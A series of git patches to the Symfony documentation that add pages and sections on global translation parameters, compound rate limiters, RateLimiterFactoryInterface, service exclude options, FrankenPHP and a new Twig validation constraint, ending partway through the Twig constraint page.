 
 .. versionadded:: 7.3
 

From 11b256998374bdfbfa7a0155cf1274661a15811b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 8 Apr 2025 11:03:16 +0200
Subject: [PATCH 5535/5766] Tweaks and rewords

---
 translation.rst | 139 +++++++++++++++++++++++++++---------------------
 1 file changed, 78 insertions(+), 61 deletions(-)

diff --git a/translation.rst b/translation.rst
index 7800161d77b..35751d7db5f 100644
--- a/translation.rst
+++ b/translation.rst
@@ -416,6 +416,84 @@ You can also specify the message domain and pass some additional variables:
     major difference: automatic output escaping is **not** applied to translations
     using a tag.
 
+Global Translation Parameters
+-----------------------------
+
+.. versionadded:: 7.3
+
+    The global translation parameters feature was introduced in Symfony 7.3.
+
+If the content of a translation parameter is repeated across multiple
+translation messages (e.g. a company name, or a version number), you can define
+it as a global translation parameter. This helps you avoid repeating the same
+values manually in each message.
+
+You can configure these global parameters in the ``translations.globals`` option
+of your main configuration file using either ``%...%`` or ``{...}`` syntax:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/translator.yaml
+        translator:
+            # ...
+            globals:
+                # when using the '%' wrapping characters, you must escape them
+                '%%app_name%%': 'My application'
+                '{app_version}': '1.2.3'
+                '{url}': { message: 'url', parameters: { scheme: 'https://' }, domain: 'global' }
+
+    .. code-block:: xml
+
+           <!-- config/packages/translation.xml -->
+           <?xml version="1.0" encoding="UTF-8" ?>
+           <container xmlns="http://symfony.com/schema/dic/services"
+               xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+               xmlns:framework="http://symfony.com/schema/dic/symfony"
+               xsi:schemaLocation="http://symfony.com/schema/dic/services
+                   https://symfony.com/schema/dic/services/services-1.0.xsd
+                   http://symfony.com/schema/dic/symfony
+                   https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+               <framework:config>
+                   <framework:translator>
+                       <!-- ... -->
+                        <!-- when using the '%' wrapping characters, you must escape them -->
+                       <framework:global name="%%app_name%%">My application</framework:global>
+                       <framework:global name="{app_version}" value="1.2.3" />
+                       <framework:global name="{url}" message="url" domain="global">
+                            <framework:parameter name="scheme">https://</framework:parameter>
+                        </framework:global>
+                   </framework:translator>
+               </framework:config>
+           </container>
+
+    .. code-block:: php
+
+        // config/packages/translator.php
+        use Symfony\Config\TwigConfig;
+
+        return static function (TwigConfig $translator): void {
+            // ...
+            // when using the '%' wrapping characters, you must escape them
+            $translator->globals('%%app_name%%')->value('My application');
+            $translator->globals('{app_version}')->value('1.2.3');
+            $translator->globals('{url}')->value(['message' => 'url', 'parameters' => ['scheme' => 'https://']]);
+        };
+
+Once defined, you can use these parameters in translation messages anywhere in
+your application:
+
+.. code-block:: twig
+
+    {{ 'Application version: {version}'|trans }}
+    {# output: "Application version: 1.2.3" #}
+
+    {# parameters passed to the message override global parameters #}
+    {{ 'Package version: {version}'|trans({'{version}': '2.3.4'}) }}
+    # Displays "Package version: 2.3.4"
+
 Forcing the Translator Locale
 -----------------------------
 
@@ -1160,67 +1238,6 @@ service argument with the :class:`Symfony\\Component\\Translation\\LocaleSwitche
 class to inject the locale switcher service. Otherwise, configure your services
 manually and inject the ``translation.locale_switcher`` service.
 
-.. _translation-global-variables:
-
-Global Variables
-~~~~~~~~~~~~~~~~
-
-The translator allows you to automatically configure global variables that will be available
-for the translation process. These global variables are defined in the ``translations.globals``
-option inside the main configuration file:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/translator.yaml
-        translator:
-            # ...
-            globals:
-                '%%app_name%%': 'My application'
-                '{app_version}': '1.2.3'
-                '{url}': { message: 'url', parameters: { scheme: 'https://' }, domain: 'global' }
-
-    .. code-block:: xml
-
-           <!-- config/packages/translation.xml -->
-           <?xml version="1.0" encoding="UTF-8" ?>
-           <container xmlns="http://symfony.com/schema/dic/services"
-               xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-               xmlns:framework="http://symfony.com/schema/dic/symfony"
-               xsi:schemaLocation="http://symfony.com/schema/dic/services
-                   https://symfony.com/schema/dic/services/services-1.0.xsd
-                   http://symfony.com/schema/dic/symfony
-                   https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
-
-               <framework:config>
-                   <framework:translator>
-                       <!-- ... -->
-                       <framework:global name="%%app_name%%">My application</framework:global>
-                       <framework:global name="{app_version}" value="1.2.3" />
-                       <framework:global name="{url}" message="url" domain="global">
-                            <framework:parameter name="scheme">https://</framework:parameter>
-                        </framework:global>
-                   </framework:translator>
-               </framework:config>
-           </container>
-
-    .. code-block:: php
-
-        // config/packages/translator.php
-        use Symfony\Config\TwigConfig;
-
-        return static function (TwigConfig $translator): void {
-            // ...
-            $translator->globals('%%app_name%%')->value('My application');
-            $translator->globals('{app_version}')->value('1.2.3');
-            $translator->globals('{url}')->value(['message' => 'url', 'parameters' => ['scheme' => 'https://']);
-        };
-
-.. versionadded:: 7.3
-
-    The ``translator:globals`` option was introduced in Symfony 7.3.
-
 .. _translation-debug:
 
 How to Find Missing or Unused Translation Messages

From fff52938f54f32cb6b246f73423affbe1365660b Mon Sep 17 00:00:00 2001
From: Kevin Bond <kevinbond@gmail.com>
Date: Tue, 8 Apr 2025 07:23:44 -0400
Subject: [PATCH 5536/5766] [RateLimiter] deprecate injecting
 `RateLimiterFactory`

---
 rate_limiter.rst | 18 ++++++++++++------
 1 file changed, 12 insertions(+), 6 deletions(-)

diff --git a/rate_limiter.rst b/rate_limiter.rst
index 81bd7f5689e..1036e80e682 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -230,6 +230,12 @@ prevents that number from being higher than 5,000).
 Rate Limiting in Action
 -----------------------
 
+.. versionadded:: 7.3
+
+    :class:`Symfony\\Component\\RateLimiter\\RateLimiterFactoryInterface` was
+    added and should now be used for autowiring instead of
+    :class:`Symfony\\Component\\RateLimiter\\RateLimiterFactory`.
+
 After having installed and configured the rate limiter, inject it in any service
 or controller and call the ``consume()`` method to try to consume a given number
 of tokens. For example, this controller uses the previous rate limiter to control
@@ -242,13 +248,13 @@ the number of requests to the API::
     use Symfony\Component\HttpFoundation\Request;
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\HttpKernel\Exception\TooManyRequestsHttpException;
-    use Symfony\Component\RateLimiter\RateLimiterFactory;
+    use Symfony\Component\RateLimiter\RateLimiterFactoryInterface;
 
     class ApiController extends AbstractController
     {
         // if you're using service autowiring, the variable name must be:
         // "rate limiter name" (in camelCase) + "Limiter" suffix
-        public function index(Request $request, RateLimiterFactory $anonymousApiLimiter): Response
+        public function index(Request $request, RateLimiterFactoryInterface $anonymousApiLimiter): Response
         {
             // create a limiter based on a unique identifier of the client
             // (e.g. the client's IP address, a username/email, an API key, etc.)
@@ -291,11 +297,11 @@ using the ``reserve()`` method::
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Request;
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\RateLimiter\RateLimiterFactory;
+    use Symfony\Component\RateLimiter\RateLimiterFactoryInterface;
 
     class ApiController extends AbstractController
     {
-        public function registerUser(Request $request, RateLimiterFactory $authenticatedApiLimiter): Response
+        public function registerUser(Request $request, RateLimiterFactoryInterface $authenticatedApiLimiter): Response
         {
             $apiKey = $request->headers->get('apikey');
             $limiter = $authenticatedApiLimiter->create($apiKey);
@@ -350,11 +356,11 @@ the :class:`Symfony\\Component\\RateLimiter\\Reservation` object returned by the
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Request;
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\RateLimiter\RateLimiterFactory;
+    use Symfony\Component\RateLimiter\RateLimiterFactoryInterface;
 
     class ApiController extends AbstractController
     {
-        public function index(Request $request, RateLimiterFactory $anonymousApiLimiter): Response
+        public function index(Request $request, RateLimiterFactoryInterface $anonymousApiLimiter): Response
         {
             $limiter = $anonymousApiLimiter->create($request->getClientIp());
             $limit = $limiter->consume();

From 35349c17b05de94e156ca0247b2f4d9f887aaa3a Mon Sep 17 00:00:00 2001
From: Kevin Bond <kevinbond@gmail.com>
Date: Tue, 8 Apr 2025 07:45:37 -0400
Subject: [PATCH 5537/5766] [RateLimiter] compound rate limiter

---
 rate_limiter.rst | 117 +++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 117 insertions(+)

diff --git a/rate_limiter.rst b/rate_limiter.rst
index 81bd7f5689e..906e787e7e1 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -541,6 +541,123 @@ at all):
     lock factory (``lock.factory``) failed if the Symfony Lock component was not
     installed in the application.
 
+Compound Rate Limiter
+---------------------
+
+.. versionadded:: 7.3
+
+    Configuring compound rate limiters was added in 7.3.
+
+You can configure multiple rate limiters to work together:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/rate_limiter.yaml
+        framework:
+            rate_limiter:
+                two_per_minute:
+                    policy: 'fixed_window'
+                    limit: 2
+                    interval: '1 minute'
+                five_per_hour:
+                    policy: 'fixed_window'
+                    limit: 5
+                    interval: '1 hour'
+                contact_form:
+                    policy: 'compound'
+                    limiters: [two_per_minute, five_per_hour]
+
+    .. code-block:: xml
+
+        <!-- config/packages/rate_limiter.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:rate-limiter>
+                    <framework:limiter name="two_per_minute"
+                        policy="fixed_window"
+                        limit="2"
+                        interval="1 minute"
+                    />
+
+                    <framework:limiter name="five_per_hour"
+                        policy="fixed_window"
+                        limit="5"
+                        interval="1 hour"
+                    />
+
+                    <framework:limiter name="contact_form"
+                        policy="compound"
+                    >
+                        <limiter>two_per_minute</limiter>
+                        <limiter>five_per_hour</limiter>
+                    </framework:limiter>
+                </framework:rate-limiter>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/rate_limiter.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework): void {
+            $framework->rateLimiter()
+                ->limiter('two_per_minute')
+                    ->policy('fixed_window')
+                    ->limit(2)
+                    ->interval('1 minute')
+                ;
+
+            $framework->rateLimiter()
+                ->limiter('two_per_minute')
+                    ->policy('fixed_window')
+                    ->limit(5)
+                    ->interval('1 hour')
+                ;
+
+            $framework->rateLimiter()
+                ->limiter('contact_form')
+                    ->policy('compound')
+                    ->limiters(['two_per_minute', 'five_per_hour'])
+                ;
+        };
+
+Then, inject and use as normal::
+
+    // src/Controller/ContactController.php
+    namespace App\Controller;
+
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\RateLimiter\RateLimiterFactory;
+
+    class ContactController extends AbstractController
+    {
+        public function registerUser(Request $request, RateLimiterFactoryInterface $contactFormLimiter): Response
+        {
+            $limiter = $contactFormLimiter->create($request->getClientIp());
+
+            if (false === $limiter->consume(1)->isAccepted()) {
+                // either of the two limiters has been reached
+            }
+
+            // ...
+        }
+
+        // ...
+    }
+
 .. _`DoS attacks`: https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html
 .. _`Apache mod_ratelimit`: https://httpd.apache.org/docs/current/mod/mod_ratelimit.html
 .. _`NGINX rate limiting`: https://www.nginx.com/blog/rate-limiting-nginx/

From 70716ab76d3e4066668c81ad1be465e3dc1a772e Mon Sep 17 00:00:00 2001
From: Hubert Lenoir <Jean-Beru@users.noreply.github.com>
Date: Tue, 8 Apr 2025 17:57:53 +0200
Subject: [PATCH 5538/5766] Update service_container.rst to 7.3

---
 service_container.rst | 13 +++----------
 1 file changed, 3 insertions(+), 10 deletions(-)

diff --git a/service_container.rst b/service_container.rst
index 30b69b8aa14..9a024e5e320 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -162,10 +162,6 @@ each time you ask for it.
                 # this creates a service per class whose id is the fully-qualified class name
                 App\:
                     resource: '../src/'
-                    exclude:
-                        - '../src/DependencyInjection/'
-                        - '../src/Entity/'
-                        - '../src/Kernel.php'
 
                 # order is important in this file because service definitions
                 # always *replace* previous ones; add your own service configuration below
@@ -187,7 +183,7 @@ each time you ask for it.
 
                     <!-- makes classes in src/ available to be used as services -->
                     <!-- this creates a service per class whose id is the fully-qualified class name -->
-                    <prototype namespace="App\" resource="../src/" exclude="../src/{DependencyInjection,Entity,Kernel.php}"/>
+                    <prototype namespace="App\" resource="../src/"/>
 
                     <!-- order is important in this file because service definitions
                          always *replace* previous ones; add your own service configuration below -->
@@ -212,8 +208,7 @@ each time you ask for it.
 
                 // makes classes in src/ available to be used as services
                 // this creates a service per class whose id is the fully-qualified class name
-                $services->load('App\\', '../src/')
-                    ->exclude('../src/{DependencyInjection,Entity,Kernel.php}');
+                $services->load('App\\', '../src/');
 
                 // order is important in this file because service definitions
                 // always *replace* previous ones; add your own service configuration below
@@ -221,9 +216,7 @@ each time you ask for it.
 
     .. tip::
 
-        The value of the ``resource`` and ``exclude`` options can be any valid
-        `glob pattern`_. The value of the ``exclude`` option can also be an
-        array of glob patterns.
+        The value of the ``resource`` option can be any valid `glob pattern`_.
 
     Thanks to this configuration, you can automatically use any classes from the
     ``src/`` directory as a service, without needing to manually configure

From c0f12c7408489bb8031b77d2caea5e3ce547781f Mon Sep 17 00:00:00 2001
From: "hubert.lenoir" <hubert.lenoir@sensiolabs.com>
Date: Tue, 8 Apr 2025 20:36:41 +0200
Subject: [PATCH 5539/5766] [Translation] Fix Lint (DOCtor-RST)

---
 translation.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/translation.rst b/translation.rst
index 35751d7db5f..86282090801 100644
--- a/translation.rst
+++ b/translation.rst
@@ -461,7 +461,7 @@ of your main configuration file using either ``%...%`` or ``{...}`` syntax:
                        <!-- ... -->
                         <!-- when using the '%' wrapping characters, you must escape them -->
                        <framework:global name="%%app_name%%">My application</framework:global>
-                       <framework:global name="{app_version}" value="1.2.3" />
+                       <framework:global name="{app_version}" value="1.2.3"/>
                        <framework:global name="{url}" message="url" domain="global">
                             <framework:parameter name="scheme">https://</framework:parameter>
                         </framework:global>

From ac9e20cad5195c101d843bcb6cb391f0b9316011 Mon Sep 17 00:00:00 2001
From: Mokhtar Tlili <mokhtar.tlili@vicoland.com>
Date: Tue, 8 Apr 2025 21:05:43 +0200
Subject: [PATCH 5540/5766] Add docs for bridge twig validator #20836

---
 bridge/twig/validation.rst | 63 ++++++++++++++++++++++++++++++++++++++
 index.rst                  |  1 +
 twig_bridge.rst            |  9 ++++++
 3 files changed, 73 insertions(+)
 create mode 100644 bridge/twig/validation.rst
 create mode 100644 twig_bridge.rst

diff --git a/bridge/twig/validation.rst b/bridge/twig/validation.rst
new file mode 100644
index 00000000000..e7b887f5588
--- /dev/null
+++ b/bridge/twig/validation.rst
@@ -0,0 +1,63 @@
+Validating Twig Template Syntax
+===============================
+
+The Twig Bridge provides a custom `Twig` constraint that allows validating
+whether a given string contains valid Twig syntax.
+
+This is particularly useful when template content is user-generated or
+configurable, and you want to ensure it can be safely rendered by the Twig engine.
+
+Installation
+------------
+
+This constraint is part of the `symfony/twig-bridge` package. Make sure it's installed:
+
+.. code-block:: terminal
+
+    $ composer require symfony/twig-bridge
+
+Usage
+-----
+
+To use the `Twig` constraint, annotate the property that should contain a valid
+Twig template::
+
+    use Symfony\Bridge\Twig\Validator\Constraints\Twig;
+
+    class Template
+    {
+        #[Twig]
+        private string $templateCode;
+    }
+
+If the template contains a syntax error, a validation error will be thrown.
+
+Constraint Options
+------------------
+
+**message**
+Customize the default error message when the template is invalid::
+
+    // ...
+    class Template
+    {
+        #[Twig(message: 'Your template contains a syntax error.')]
+        private string $templateCode;
+    }
+
+**skipDeprecations**
+By default, this option is set to `true`, which means Twig deprecation warnings
+are ignored during validation.
+
+If you want validation to fail when deprecated features are used in the template,
+set this to `false`::
+
+    // ...
+    class Template
+    {
+        #[Twig(skipDeprecations: false)]
+        private string $templateCode;
+    }
+
+This can be helpful when enforcing stricter template rules or preparing for major
+Twig version upgrades.
diff --git a/index.rst b/index.rst
index c566e5f8671..2bd09c8c0dc 100644
--- a/index.rst
+++ b/index.rst
@@ -60,6 +60,7 @@ Topics
     web_link
     webhook
     workflow
+    twig_bridge
 
 Components
 ----------
diff --git a/twig_bridge.rst b/twig_bridge.rst
new file mode 100644
index 00000000000..bb7d84f7e9a
--- /dev/null
+++ b/twig_bridge.rst
@@ -0,0 +1,9 @@
+Twig Bridge
+===========
+
+This bridge integrates Symfony with the Twig templating engine.
+
+.. toctree::
+   :maxdepth: 1
+
+   bridge/twig/validation

From a7a6c1d23db3430752cbdf59354aad47aaa4ef32 Mon Sep 17 00:00:00 2001
From: Kevin Bond <kevinbond@gmail.com>
Date: Tue, 8 Apr 2025 07:13:46 -0400
Subject: [PATCH 5541/5766] [Scheduler][Webhook] add screencast links

---
 scheduler.rst | 6 ++++++
 webhook.rst   | 6 ++++++
 2 files changed, 12 insertions(+)

diff --git a/scheduler.rst b/scheduler.rst
index a09fabfc4ca..1630fd8dada 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -1,6 +1,11 @@
 Scheduler
 =========
 
+.. admonition:: Screencast
+    :class: screencast
+
+    Like video tutorials? Check out this `Scheduler quick-start screencast`_.
+
 The scheduler component manages task scheduling within your PHP application, like
 running a task each night at 3 AM, every two weeks except for holidays or any
 other custom schedule you might need.
@@ -1008,3 +1013,4 @@ helping you identify those messages when needed.
 .. _`cron command-line utility`: https://en.wikipedia.org/wiki/Cron
 .. _`crontab.guru website`: https://crontab.guru/
 .. _`relative formats`: https://www.php.net/manual/en/datetime.formats.php#datetime.formats.relative
+.. _`Scheduler quick-start screencast`: https://symfonycasts.com/screencast/mailtrap/bonus-symfony-scheduler
diff --git a/webhook.rst b/webhook.rst
index aba95cffb04..9d6b56c7ef0 100644
--- a/webhook.rst
+++ b/webhook.rst
@@ -15,6 +15,11 @@ Installation
 Usage in Combination with the Mailer Component
 ----------------------------------------------
 
+.. admonition:: Screencast
+    :class: screencast
+
+    Like video tutorials? Check out the `Webhook Component for Email Events screencast`_.
+
 When using a third-party mailer provider, you can use the Webhook component to
 receive webhook calls from this provider.
 
@@ -207,3 +212,4 @@ Creating a Custom Webhook
     Webhook.
 
 .. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
+.. _`Webhook Component for Email Events screencast`: https://symfonycasts.com/screencast/mailtrap/email-event-webhook

From 59fd3a3f167c8c799fad3256ace24dc8a72501de Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 9 Apr 2025 12:31:13 +0200
Subject: [PATCH 5542/5766] Tweaks

---
 service_container.rst        | 44 ++++++++++++++++++++++++++++++++++++
 service_container/import.rst |  7 ++----
 2 files changed, 46 insertions(+), 5 deletions(-)

diff --git a/service_container.rst b/service_container.rst
index 9a024e5e320..6ae601cf724 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -223,6 +223,50 @@ each time you ask for it.
     it. Later, you'll learn how to :ref:`import many services at once
     <service-psr4-loader>` with resource.
 
+    If some files or directories in your project should not become services, you
+    can exclude them using the ``exclude`` option:
+
+        .. configuration-block::
+
+        .. code-block:: yaml
+
+            # config/services.yaml
+            services:
+                # ...
+                App\:
+                    resource: '../src/'
+                    exclude:
+                        - '../src/SomeDirectory/'
+                        - '../src/AnotherDirectory/'
+                        - '../src/SomeFile.php'
+
+        .. code-block:: xml
+
+            <!-- config/services.xml -->
+            <?xml version="1.0" encoding="UTF-8" ?>
+            <container xmlns="http://symfony.com/schema/dic/services"
+                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                xsi:schemaLocation="http://symfony.com/schema/dic/services
+                    https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+                <services>
+                    <prototype namespace="App\" resource="../src/" exclude="../src/{SomeDirectory,AnotherDirectory,Kernel.php}"/>
+                    <!-- ... -->
+                </services>
+            </container>
+
+        .. code-block:: php
+
+            // config/services.php
+            namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+            return function(ContainerConfigurator $container): void {
+                // ...
+
+                $services->load('App\\', '../src/')
+                    ->exclude('../src/{SomeDirectory,AnotherDirectory,Kernel.php}');
+            };
+
     If you'd prefer to manually wire your service, you can
     :ref:`use explicit configuration <services-explicitly-configure-wire-services>`.
 
diff --git a/service_container/import.rst b/service_container/import.rst
index d5056032115..293cb5b97c2 100644
--- a/service_container/import.rst
+++ b/service_container/import.rst
@@ -82,7 +82,6 @@ a relative or absolute path to the imported file:
 
             App\:
                 resource: '../src/*'
-                exclude: '../src/{DependencyInjection,Entity,Migrations,Tests,Kernel.php}'
 
             # ...
 
@@ -104,8 +103,7 @@ a relative or absolute path to the imported file:
             <services>
                 <defaults autowire="true" autoconfigure="true"/>
 
-                <prototype namespace="App\" resource="../src/*"
-                    exclude="../src/{DependencyInjection,Entity,Migrations,Tests,Kernel.php}"/>
+                <prototype namespace="App\" resource="../src/*"/>
 
                 <!-- ... -->
             </services>
@@ -127,8 +125,7 @@ a relative or absolute path to the imported file:
                     ->autoconfigure()
             ;
 
-            $services->load('App\\', '../src/*')
-                ->exclude('../src/{DependencyInjection,Entity,Migrations,Tests,Kernel.php}');
+            $services->load('App\\', '../src/*');
         };
 
 When loading a configuration file, Symfony loads first the imported files and

From 518fc3a24cfd03eff976cf296997edc8e2aea2f8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 9 Apr 2025 16:22:11 +0200
Subject: [PATCH 5543/5766] Minor tweak

---
 rate_limiter.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/rate_limiter.rst b/rate_limiter.rst
index 4bd213d2363..3a517c37bd4 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -552,7 +552,7 @@ Compound Rate Limiter
 
 .. versionadded:: 7.3
 
-    Configuring compound rate limiters was added in 7.3.
+    Support for configuring compound rate limiters was introduced in Symfony 7.3.
 
 You can configure multiple rate limiters to work together:
 

From fcfcacb6afdd7b6fcbdf5587f9c59140b9d5f887 Mon Sep 17 00:00:00 2001
From: Van Truong PHAN <svd.phan@gmail.com>
Date: Thu, 10 Apr 2025 04:44:59 +0200
Subject: [PATCH 5544/5766] Franken PHP can perform some action after the
 response has been streamed to the user

Franken also implements fastcgi_finish_request PHP function. kernel.terminate event works well with franken.
---
 components/http_kernel.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index 351a2123b90..cf16de9fe61 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -497,8 +497,8 @@ as possible to the client (e.g. sending emails).
 .. warning::
 
     Internally, the HttpKernel makes use of the :phpfunction:`fastcgi_finish_request`
-    PHP function. This means that at the moment, only the `PHP FPM`_ server
-    API is able to send a response to the client while the server's PHP process
+    PHP function. This means that at the moment, only the `PHP FPM`_ and `FrankenPHP`_ servers
+    API are able to send a response to the client while the server's PHP process
     still performs some tasks. With all other server APIs, listeners to ``kernel.terminate``
     are still executed, but the response is not sent to the client until they
     are all completed.
@@ -770,3 +770,4 @@ Learn more
 .. _FOSRestBundle: https://github.com/friendsofsymfony/FOSRestBundle
 .. _`PHP FPM`: https://www.php.net/manual/en/install.fpm.php
 .. _variadic: https://www.php.net/manual/en/functions.arguments.php#functions.variable-arg-list
+.. _`FrankenPHP`: https://frankenphp.dev

From ccd113706035d4d5c09342c2d8de207d138cf53c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 10 Apr 2025 08:03:25 +0200
Subject: [PATCH 5545/5766] Minor tweak

---
 components/http_kernel.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index cf16de9fe61..91643086a18 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -497,8 +497,8 @@ as possible to the client (e.g. sending emails).
 .. warning::
 
     Internally, the HttpKernel makes use of the :phpfunction:`fastcgi_finish_request`
-    PHP function. This means that at the moment, only the `PHP FPM`_ and `FrankenPHP`_ servers
-    API are able to send a response to the client while the server's PHP process
+    PHP function. This means that at the moment, only the `PHP FPM`_ API and the
+    `FrankenPHP`_ server are able to send a response to the client while the server's PHP process
     still performs some tasks. With all other server APIs, listeners to ``kernel.terminate``
     are still executed, but the response is not sent to the client until they
     are all completed.

From 344d8baac24247f9a0637bec61a2896e9404c43b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 10 Apr 2025 09:12:48 +0200
Subject: [PATCH 5546/5766] Reorganized the contents of the new constraint

---
 bridge/twig/validation.rst        |  63 ---------------
 index.rst                         |   1 -
 reference/constraints/Twig.rst    | 130 ++++++++++++++++++++++++++++++
 reference/constraints/map.rst.inc |   1 +
 twig_bridge.rst                   |   9 ---
 5 files changed, 131 insertions(+), 73 deletions(-)
 delete mode 100644 bridge/twig/validation.rst
 create mode 100644 reference/constraints/Twig.rst
 delete mode 100644 twig_bridge.rst

diff --git a/bridge/twig/validation.rst b/bridge/twig/validation.rst
deleted file mode 100644
index e7b887f5588..00000000000
--- a/bridge/twig/validation.rst
+++ /dev/null
@@ -1,63 +0,0 @@
-Validating Twig Template Syntax
-===============================
-
-The Twig Bridge provides a custom `Twig` constraint that allows validating
-whether a given string contains valid Twig syntax.
-
-This is particularly useful when template content is user-generated or
-configurable, and you want to ensure it can be safely rendered by the Twig engine.
-
-Installation
-------------
-
-This constraint is part of the `symfony/twig-bridge` package. Make sure it's installed:
-
-.. code-block:: terminal
-
-    $ composer require symfony/twig-bridge
-
-Usage
------
-
-To use the `Twig` constraint, annotate the property that should contain a valid
-Twig template::
-
-    use Symfony\Bridge\Twig\Validator\Constraints\Twig;
-
-    class Template
-    {
-        #[Twig]
-        private string $templateCode;
-    }
-
-If the template contains a syntax error, a validation error will be thrown.
-
-Constraint Options
-------------------
-
-**message**
-Customize the default error message when the template is invalid::
-
-    // ...
-    class Template
-    {
-        #[Twig(message: 'Your template contains a syntax error.')]
-        private string $templateCode;
-    }
-
-**skipDeprecations**
-By default, this option is set to `true`, which means Twig deprecation warnings
-are ignored during validation.
-
-If you want validation to fail when deprecated features are used in the template,
-set this to `false`::
-
-    // ...
-    class Template
-    {
-        #[Twig(skipDeprecations: false)]
-        private string $templateCode;
-    }
-
-This can be helpful when enforcing stricter template rules or preparing for major
-Twig version upgrades.
diff --git a/index.rst b/index.rst
index 2bd09c8c0dc..c566e5f8671 100644
--- a/index.rst
+++ b/index.rst
@@ -60,7 +60,6 @@ Topics
     web_link
     webhook
     workflow
-    twig_bridge
 
 Components
 ----------
diff --git a/reference/constraints/Twig.rst b/reference/constraints/Twig.rst
new file mode 100644
index 00000000000..8435c191855
--- /dev/null
+++ b/reference/constraints/Twig.rst
@@ -0,0 +1,130 @@
+Twig Constraint
+===============
+
+.. versionadded:: 7.3
+
+    The ``Twig`` constraint was introduced in Symfony 7.3.
+
+Validates that a given string contains valid :ref:`Twig syntax <twig-language>`.
+This is particularly useful when template content is user-generated or
+configurable, and you want to ensure it can be rendered by the Twig engine.
+
+.. note::
+
+    Using this constraint requires having the ``symfony/twig-bridge`` package
+    installed in your application (e.g. by running ``composer require symfony/twig-bridge``).
+
+==========  ===================================================================
+Applies to  :ref:`property or method <validation-property-target>`
+Class       :class:`Symfony\\Bridge\\Twig\\Validator\\Constraints\\Twig`
+Validator   :class:`Symfony\\Bridge\\Twig\\Validator\\Constraints\\TwigValidator`
+==========  ===================================================================
+
+Basic Usage
+-----------
+
+Apply the ``Twig`` constraint to validate the contents of any property or the
+returned value of any method:
+
+    use Symfony\Bridge\Twig\Validator\Constraints\Twig;
+
+    class Template
+    {
+        #[Twig]
+        private string $templateCode;
+    }
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        // src/Entity/Page.php
+        namespace App\Entity;
+
+        use Symfony\Bridge\Twig\Validator\Constraints\Twig;
+
+        class Page
+        {
+            #[Twig]
+            private string $templateCode;
+        }
+
+    .. code-block:: yaml
+
+        # config/validator/validation.yaml
+        App\Entity\Page:
+            properties:
+                templateCode:
+                    - Symfony\Bridge\Twig\Validator\Constraints\Twig: ~
+
+    .. code-block:: xml
+
+        <!-- config/validator/validation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
+
+            <class name="App\Entity\Page">
+                <property name="templateCode">
+                    <constraint name="Symfony\Bridge\Twig\Validator\Constraints\Twig"/>
+                </property>
+            </class>
+        </constraint-mapping>
+
+    .. code-block:: php
+
+        // src/Entity/Page.php
+        namespace App\Entity;
+
+        use Symfony\Bridge\Twig\Validator\Constraints\Twig;
+        use Symfony\Component\Validator\Mapping\ClassMetadata;
+
+        class Page
+        {
+            // ...
+
